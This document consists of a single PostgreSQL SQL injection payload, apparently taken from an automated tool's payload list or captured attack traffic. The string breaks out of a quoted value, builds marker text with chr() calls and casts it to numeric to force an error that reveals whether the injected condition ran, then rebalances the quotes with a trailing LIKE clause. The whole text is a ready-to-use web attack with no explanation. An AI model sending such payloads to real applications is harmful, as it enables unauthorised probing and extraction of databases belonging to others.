-7452' or 3440  =  cast   (    (   chr  (  113  )  ||chr  (  113  )  ||chr  (  112  )  ||chr  (  106  )  ||chr  (  113   )    )   ||  (  select   (  case when   (  3440  =  3440  )   then 1 else 0 end   )    )   ::text||  (  chr  (  113  )  ||chr  (  122  )  ||chr  (  118  )  ||chr  (  122  )  ||chr  (  113   )    )    as numeric  )   and 'nmdq' like 'nmdq